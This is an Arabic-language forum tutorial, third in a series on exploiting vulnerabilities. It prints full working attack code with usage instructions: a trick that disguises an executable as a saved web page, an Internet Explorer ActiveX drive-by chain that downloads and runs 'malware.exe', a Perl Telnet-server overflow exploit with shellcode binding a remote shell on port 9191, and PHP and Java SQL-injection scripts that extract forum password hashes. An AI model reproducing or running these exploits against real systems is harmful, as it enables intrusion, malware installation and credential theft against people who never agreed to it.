السلام عليكم ورحمة الله ,,,
بالتأكيد هذا هو القسم الثالث من سلسلة مواضيع ( إكتشاف وإستغلال الثغرات )
وفي هذا الدرس سنناقش بعض الخدع والحيل لتخزين وتشغيل الملفات التنفيذية والفايروسات
من خلال إستغلال ثغرات البرامج وبالتحديد ثغرات متصفح الإنترنت
-
في البداية لاحظ هذة الخدعة البسيطة : وهي توهم المستخدم بأنة سيقوم بتخزين صفحة إنترنت
وفي الحقيقة , سيخزن ملف تنفيذي وليس صفحة إنترنت ؟!
ملاحظة : إذا كانت إعدادات جهازك تسمح بإظهار إمتداد الملفات فإن الخدعة ستكون مكشوفة .
المهم عندما يقوم المستخدم بتخزين كتاب أو صفحة تظهر لة هذة الصورة

وأنا متأكد أن أغلب المستخدمين أو كلهم سيقومون بتخزين
الملف , لأنة وبدون نقاش ليس ملف تنفيذي
بينما هو , كالتالي :

هذا هو كود الثغرة أو الحيلة بالجافا سكربت :
<html>
<body>
<iframe src='vengy404.htm' name="NotFound" width="0" height="0"></iframe>Click
<a href=# onclick="javascript:document.frames.NotFound.document.execCommand('SaveAs',1,'page.exe');">
here</a>.
</body>
</html>وللتجربة
http://www.freewebs.com/xxosfilexx/AA/index.html
*******************************************************
الحيلة الثانية وهي أخطر شوي , تخزين وتشغيل ملف تنفيذي دون أي شرط ?!
بالتأكيد هذة الثغرة تتطلب تمكين تشغيل الأدوات النشطة ActiveX لأن الثغرة تستخدم الأداة hhctrl.ocx
-
لاحظ كيف تكتب , قم بإنشاء صفحة إنترنت بأي إسم ولتكن cmdexe.htm وإكتب بداخلها الكود التالي:
<html><head><title>CMDExe - PoC</title></head><body>
<br><OBJECT style="display:none" id="locate" type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" codebase="hhctrl.ocx#Version=5,2,3790,1194">
<PARAM name="Command" value="Related Topics, MENU">
<PARAM name="Button" value="Text:_">
<PARAM name="Window" value="$global_blank">
<PARAM name="Item1" value="command;ms-its:c:/windows/help/ntshared.chm::/compile_date.htm">
</OBJECT>
<OBJECT style="display:none" id="locator" type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" codebase="hhctrl.ocx#Version=5,2,3790,1194">
<PARAM name="Command" value="Related Topics, MENU">
<PARAM name="Button" value="Text:_">
<PARAM name="Window" value="$global_blank">
<PARAM name="Item1" value='command;javascript:execScript("document.write(\"<body style=\\\"display:none\\\" scroll=\\\"no\\\"\"+String.fromCharCode(62)+\"<scr\"+\"ipt language=\\\"javascript\\\" src=\\\"http://127.0.0.1/cmdexe.txt\\\"\"+String.fromCharCode(62)+\"</scr\"+\"ipt\"+String.fromCharCode(62))")'>
</OBJECT>
<script>locate.HHClick();setTimeout("locator.HHClick()",75);setTimeout("window.opener=null;window.close()",7000)</script></body></html>بعد ذلك قم بإنشاء ملف نصي بإسم cmdexe.txt وإكتب بداخلة
function writehta(){
document.write("<script language=\"vbscript\" src=\"http://127.0.0.1/cmdexe2.txt\"></script>");
}
function writeexe(){
document.write("<object id=a classid=clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11><param name=command value=shortcut><param name=item1 value=',cmd.exe,/d /c start /min C:/cmdexe.hta'></object><script>a.Click\(\)</script>");
}
function startexe(){
document.write("<object id=b classid=clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11><param name=command value=shortcut><param name=item1 value=',cmd.exe,/d /c del \"C:/cmdexe.hta\"&&start C:/malware.exe'></object><object id=c classid=clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11><param name=command value=close></object><script>b.Click\(\);c.Click\(\)</script>");
}
setTimeout("writehta()",1);
setTimeout("writeexe()",2000);
setTimeout("startexe()",5000);والملف النصي الآخر بإسم cmdexe2.txt وإكتب بداخلة
on error resume next
set conn = CreateObject("ADODB.Recordset")
With conn
.Fields.Append "conn", 200, "3000"
Call .Open
Call .AddNew
.Fields("conn").Value = "<body style=""display:none"" scroll=""no"">"
Call .AddNew
.Fields("conn").Value = "<script language=""vbscript"">: on error resume next : set o = CreateObject(""msxml2.XMLHTTP"") : o.open ""GET"",""http://127.0.0.1/cmdexe.exe"",False : o.send : set s = createobject(""adodb.stream"") : s.type=1 : s.open : s.write o.responseBody : s.savetofile ""C:\malware.exe"",2 : window.close()</script>"
Call .Update
End With
conn.Save "C:\cmdexe.hta", adPersistXML
conn.Closeضع كل هذة الملفات في مجلد واحد وتأكد من وجود ملف تنفيذي في نفس المجلد بإسم cmdexe.exe
وبعد ذلك حمل هذا المجلد إلى الإنترنت , وجرب الدخول إلى الصفحة ؟! لكي يخترق جهازك
---
هذة الثغرة ظهرت لآخر تحديث أمني لمايكروسفت وهو sp2 , ولحل المشكلة خزن الرقعة:
http://www.microsoft.com/technet/security/...n/MS05-001.mspx
***************************************************
وتوجد أنواع أخرى للثغرات تكتب بأي لغة ,
مثلاً هذة الثغرة إكتشفت في خدمة Telnet وتم إستغلالها بلغة بيرل أو cgi
لاحظ كيف :
#!/usr/bin/perl
use IO::Socket;
if (@ARGV < 3)
{
print "\n";
print "Jordan's Windows Telnet server version 1.0 exploit\n";
print "usage: $0 <host> <port> <target>\n";
print "\ntargets:\n";
print " 1 - 0x773C4540 - winXP sp0\n";
print " 2 - 0x77fb59cc - winXP sp1\n";
print " 3 - 0x77e3cb4c - Windows 2000 SP1\n";
print " 4 - 0x77e2492b - Windows 2000 SP2\n";
print " 5 - 0x77e2afc5 - Windows 2000 SP3\n";
print " 6 - 0x77e14c29 - Windows 2000 SP4\n";
print " 7 - 0x77f0eac3 - Windows NT sp6\n";
print " 8 - 0x7fdabfa9 - Windows 98 SE\n";
print " 9 - 0xAAAAAAAA - dos\n";
print "\n";
exit(1);
}
$server = $ARGV[0];
$port = $ARGV[1];
$target = $ARGV[2];
## targets ##
if($target==1){$ret = 0x773C4540;} # winXP sp0 shell32.dll jmp esp
if($target==2){$ret = 0x77fb59cc;} # winXP sp1
if($target==3){$ret = 0x77e3cb4c;} # Windows 2000 SP1
if($target==4){$ret = 0x77e2492b;} # Windows 2000 SP2
if($target==5){$ret = 0x77e2afc5;} # Windows 2000 SP3
if($target==6){$ret = 0x77e14c29;} # Windows 2000 SP4
if($target==7){$ret = 0x77f0eac3;} # Windows NT sp6
if($target==8){$ret = 0x7fdabfa9;} # Windows 98 SE
if($target==9){$ret = 0xAAAAAAAA;} # dos
print "\n";
print "[~] server : $server\n";
print "[~] port : $port\n";
print "[~] target : $target\n";
print "\n";
$nop_zone="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
## 512 bytes jff code ... little lolz shit
$jff_code="\x72\x35\x37\x2E\x62\x6C\x61\x68\x2E\x62\x6C\x61\x68\x2E\x68\x61\x68\x61\x5F\x63\x6F\x64\x65\x2E\x6A\x75\x73".
"\x74\x2E\x66\x6F\x72\x2E\x66\x75\x6E\x2E\x2E\x2E\x74\x68\x69\x73\x2E\x69\x73\x2E\x6E\x6F\x74\x2E\x6E\x65\x65".
"\x64\x2E\x66\x6F\x72\x2E\x67\x6F\x6F\x64\x2E\x77\x6F\x72\x6B\x2E\x2E\x2E\x62\x75\x74\x2E\x2E\x2E\x2E\x77\x68".
"\x79\x2E\x6E\x6F\x74\x3F\x2E\x2E\x63\x72\x65\x61\x74\x65\x64\x2E\x62\x79\x2E\x31\x64\x74\x2E\x77\x30\x6C\x66".
"\x2E\x31\x33\x2E\x30\x31\x2E\x32\x30\x30\x34\x2E\x66\x6F\x72\x2E\x6C\x69\x74\x74\x6C\x65\x2E\x6C\x61\x6D\x65".
"\x2E\x78\x70\x6C\x6F\x69\x74\x2E\x2E\x79\x65\x61\x70\x2E\x2E\x74\x68\x69\x73\x2E\x65\x78\x70\x6C\x6F\x69\x74".
"\x2E\x66\x6F\x72\x2E\x65\x64\x75\x63\x61\x74\x69\x6F\x6E\x73\x2E\x6F\x6E\x6C\x79\x2E\x2E\x2E\x66\x75\x6C\x6C".
"\x79\x2E\x77\x6F\x72\x6B\x2E\x2E\x2E\x74\x65\x73\x74\x65\x64\x2E\x6F\x6E\x2E\x77\x69\x6E\x78\x70\x2E\x2E\x77".
"\x69\x74\x68\x6F\x75\x74\x2E\x61\x6E\x79\x2E\x73\x65\x72\x76\x69\x63\x65\x2E\x70\x61\x63\x6B\x73\x2E\x2E\x63".
"\x61\x6E\x2E\x77\x6F\x72\x6B\x2E\x6F\x6E\x2E\x6F\x74\x68\x65\x72\x2E\x76\x65\x72\x73\x69\x6F\x6E\x73\x2E\x6F".
"\x66\x2E\x6D\x65\x6C\x63\x6F\x24\x6F\x66\x74\x2E\x77\x69\x6E\x64\x6F\x77\x24\x2E\x2E\x62\x75\x74\x2E\x69\x27".
"\x6D\x2E\x64\x6F\x6E\x27\x74\x2E\x68\x61\x76\x65\x2E\x61\x6E\x79\x2E\x74\x69\x6D\x65\x2E\x66\x6F\x72\x2E\x74".
"\x65\x73\x74\x2E\x69\x74\x2E\x2E\x3D\x28\x2E\x2E\x77\x65\x6C\x6C\x2E\x2E\x2E\x77\x65\x6C\x6C\x2E\x2E\x2E\x77".
"\x65\x6C\x6C\x2E\x2E\x2E\x76\x69\x73\x69\x74\x2E\x6F\x75\x72\x2E\x73\x69\x74\x65\x3A\x68\x74\x74\x70\x3A\x2F".
"\x2F\x72\x73\x74\x2E\x76\x6F\x69\x64\x2E\x72\x75\x2E\x2E\x6F\x72\x2E\x2E\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77".
"\x77\x2E\x72\x73\x74\x65\x61\x6D\x2E\x72\x75\x2E\x2E\x2E\x77\x65\x2E\x67\x6C\x61\x64\x2E\x74\x6F\x2E\x73\x65".
"\x65\x2E\x79\x6F\x75\x2E\x2E\x2E\x2E\x61\x6E\x64\x2E\x73\x6F\x72\x72\x79\x2E\x66\x6F\x72\x2E\x6D\x79\x2E\x65".
"\x6E\x67\x6C\x69\x73\x68\x2E\x2E\x3D\x28\x2E\x2E\x2E\x2E\x2E\x2E\x2E\x61\x6E\x64\x2E\x2E\x2E\x2E\x2E\x48\x41".
"\x56\x45\x2E\x41\x2E\x4E\x49\x43\x45\x2E\x44\x41\x59\x2E\x2E\x2E\x2E\x2E\x2E\x2E\x65\x6E\x6A\x6F\x79\x2E";
## 484 bytes win32 portbind shellcode, spawn cmd.exe on port 9191
$shell_code="\xEB\x03\x5D\xEB\x05\xE8\xF8\xFF\xFF\xFF\x8B\xC5\x83\xC0\x11\x33\xC9\x66\xB9\xC9\x01\x80\x30\x88\x40\xE2\xFA".
"\xDD\x03\x64\x03\x7C\x09\x64\x08\x88\x88\x88\x60\xC4\x89\x88\x88\x01\xCE\x74\x77\xFE\x74\xE0\x06\xC6\x86\x64\x60\xD9\x89".
"\x88\x88\x01\xCE\x4E\xE0\xBB\xBA\x88\x88\xE0\xFF\xFB\xBA\xD7\xDC\x77\xDE\x4E\x01\xCE\x70\x77\xFE\x74\xE0\x25\x51\x8D\x46".
"\x60\xB8\x89\x88\x88\x01\xCE\x5A\x77\xFE\x74\xE0\xFA\x76\x3B\x9E\x60\xA8\x89\x88\x88\x01\xCE\x46\x77\xFE\x74\xE0\x67\x46".
"\x68\xE8\x60\x98\x89\x88\x88\x01\xCE\x42\x77\xFE\x70\xE0\x43\x65\x74\xB3\x60\x88\x89\x88\x88\x01\xCE\x7C\x77\xFE\x70\xE0".
"\x51\x81\x7D\x25\x60\x78\x88\x88\x88\x01\xCE\x78\x77\xFE\x70\xE0\x2C\x92\xF8\x4F\x60\x68\x88\x88\x88\x01\xCE\x64\x77\xFE".
"\x70\xE0\x2C\x25\xA6\x61\x60\x58\x88\x88\x88\x01\xCE\x60\x77\xFE\x70\xE0\x6D\xC1\x0E\xC1\x60\x48\x88\x88\x88\x01\xCE\x6A".
"\x77\xFE\x70\xE0\x6F\xF1\x4E\xF1\x60\x38\x88\x88\x88\x01\xCE\x5E\xBB\x77\x09\x64\x7C\x89\x88\x88\xDC\xE0\x89\x89\x88\x88".
"\x77\xDE\x7C\xD8\xD8\xD8\xD8\xC8\xD8\xC8\xD8\x77\xDE\x78\x03\x50\xDF\xDF\xE0\x8A\x88\xAB\x6F\x03\x44\xE2\x9E\xD9\xDB\x77".
"\xDE\x64\xDF\xDB\x77\xDE\x60\xBB\x77\xDF\xD9\xDB\x77\xDE\x6A\x03\x58\x01\xCE\x36\xE0\xEB\xE5\xEC\x88\x01\xEE\x4A\x0B\x4C".
"\x24\x05\xB4\xAC\xBB\x48\xBB\x41\x08\x49\x9D\x23\x6A\x75\x4E\xCC\xAC\x98\xCC\x76\xCC\xAC\xB5\x01\xDC\xAC\xC0\x01\xDC\xAC".
"\xC4\x01\xDC\xAC\xD8\x05\xCC\xAC\x98\xDC\xD8\xD9\xD9\xD9\xC9\xD9\xC1\xD9\xD9\x77\xFE\x4A\xD9\x77\xDE\x46\x03\x44\xE2\x77".
"\x77\xB9\x77\xDE\x5A\x03\x40\x77\xFE\x36\x77\xDE\x5E\x63\x16\x77\xDE\x9C\xDE\xEC\x29\xB8\x88\x88\x88\x03\xC8\x84\x03\xF8".
"\x94\x25\x03\xC8\x80\xD6\x4A\x8C\x88\xDB\xDD\xDE\xDF\x03\xE4\xAC\x90\x03\xCD\xB4\x03\xDC\x8D\xF0\x8B\x5D\x03\xC2\x90\x03".
"\xD2\xA8\x8B\x55\x6B\xBA\xC1\x03\xBC\x03\x8B\x7D\xBB\x77\x74\xBB\x48\x24\xB2\x4C\xFC\x8F\x49\x47\x85\x8B\x70\x63\x7A\xB3".
"\xF4\xAC\x9C\xFD\x69\x03\xD2\xAC\x8B\x55\xEE\x03\x84\xC3\x03\xD2\x94\x8B\x55\x03\x8C\x03\x8B\x4D\x63\x8A\xBB\x48\x03\x5D".
"\xD7\xD6\xD5\xD3\x4A\x8C\x88";
$pack_ret = pack('l', ($ret));
$buffa .= $jff_code;
$buffa .= $pack_ret;
$buffa .= $nop_zone;
$buffa .= $shell_code;
print "[~] connecting to host...\n";
$socket=IO::Socket::INET->new( PeerAddr => $server, PeerPort => $port, Photo => tcp) || die "[-] connect failed\n";
print "[+] connected\n";
sleep 1;
print "[~] sending shellcode\n";
print $socket "$buffa";
sleep 1;
print "[+] shellcode sent\n";
close($socket);
print "[~] trying to connect on port 9191\n";
$socket=IO::Socket::INET->new( PeerAddr => $server, PeerPort => "9191", Photo => tcp) || die "[-] damn ... connect to spawn shell failed\n";
close($socket);
print "[+] shell spawned on port 9191 ... you are lucky =)\n";ولتشغيلها يلزمك مترجم للغة بيرل مثل Active perl
وطريقة الإستخدام :
## C:\>r57jwt.pl 127.0.0.1 23 1 - ## [~] server : 127.0.0.1 ## [~] port : 23 ## [~] target : 1 ## [~] connecting to host... ## [+] connected ## [~] sending shellcode ## [+] shellcode sent ## [~] trying to connect on port 9191 ## [+] shell spawned on port 9191 ... you are lucky =)
---------------
وهذة ثغرات أخرى ,مثل ثغرات خوادم المواقع و ثغرات لغات برمجة ؟!
هذة الثغرة لإعادة كلمة لسر المخزنة في قواعد بيانات بإستخدام سكربت php
<?php
// the example below will attack http://www.example.com/mybb/
echo 'Pass:' . get_pass('www.example.com', '/mybb', '');
function get_pass($host, $path, $dbprefix) {
$query[] = 'uid=' . urlencode ("1' UNION SELECT 10000, 200, password AS type FROM {$dbprefix}users WHERE uid=1 ORDER BY uid DESC/*");
$query = implode('&', $query);
$header = "POST $path/member.php?action=avatar HTTP/1.1\r\n";
$header .= "Host: $host\r\n";
$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
$header .= "Content-Length: " . strlen($query) . "\r\n\r\n";
$fp = fsockopen($host, 80, $errno, $errstr, 30);
fwrite($fp, $header . $query);
$allah = '';
while (!feof($fp)) {
$tmp = fgets($fp, 1024);
$allah .= $tmp;
}
fclose($fp);
preg_match('/\: ([a-z0-9]{32})/i', $allah, $matches);
if (empty($matches[1]) && empty($dbprefix)) {
preg_match('#FROM (\w+)avatars WHERE#i', $allah, $matches);
$dbprefix = $matches[1];
if (empty($dbprefix)) {
return 'Unable to obtain password';
}
$password = get_pass($host, $path, $dbprefix);
}
else {
$password = $matches[1];
}
return $password;
}
?>وهذة ثغرة مشابهة ولكن بإستخدام لغة الجافا
import java.net.*;
import java.io.*;
public class yabb {
public static void main(String[] args) throws Exception {
boolean lastChar = false;
String Key = "";
for ( int count=1; count <= 32; count++)
{
URL yabbForum = new URL(args[0] +
"SSI.php?function=welcome&username=evilhaxor&ID_MEMBER=1%20OR%201=2)%20GROUP
%20BY%20readBy%20UNION%20SELECT%20ASCII(SUBSTRING(passwd,"+count+",1)%20)%20
%20,%20%200%20FROM%20"+args[1]+"members%20WHERE%20ID_MEMBER="+args[2]+"/*");
BufferedReader in = new BufferedReader(new
InputStreamReader(yabbForum.openStream()));
String inputLine;
inputLine = in.readLine();
int pos = inputLine.indexOf("action=im");
int pos2 = inputLine.indexOf(" ", pos + 11);
if ( pos < 0 )
{
System.out.println("ERROR: The server doesn't return any data");
System.exit(0);
}
String theNumber = inputLine.substring( pos + 11, pos2);
System.out.println(theNumber + "-" + new
Character((char)Integer.parseInt(theNumber.trim())).toString());
Key += new Character((char)Integer.parseInt(theNumber.trim())).toString();
in.close();
}
System.out.println("Hashed password : " + Key);
}
}ترجم الكود
javac xfile.java
وطريقة الإستخدام
java xfile [url with path] [database_prefix] [ID_MEMBER]
====================
وإلى هنا نكون قد أخذنا فكرة عن أغلب أنواع الثغرات وطرق إكتشافها وإستغلالها
وبهذا نكون قد فتحنا أبواب كثيرة للنقاش بهدف تطوير قدراتنا في مجال أمن المعلومات؟!
وهذا المجال أعتقد أنة سيكون أهم مجال في الأيام القادمة
ولذلك سنقوم بطرح ومناقش أي ثغرة جديدة تظهر (ولكن بعد ظهور الرقعة الأمنية لها)
-
وبالتوفيق ,,

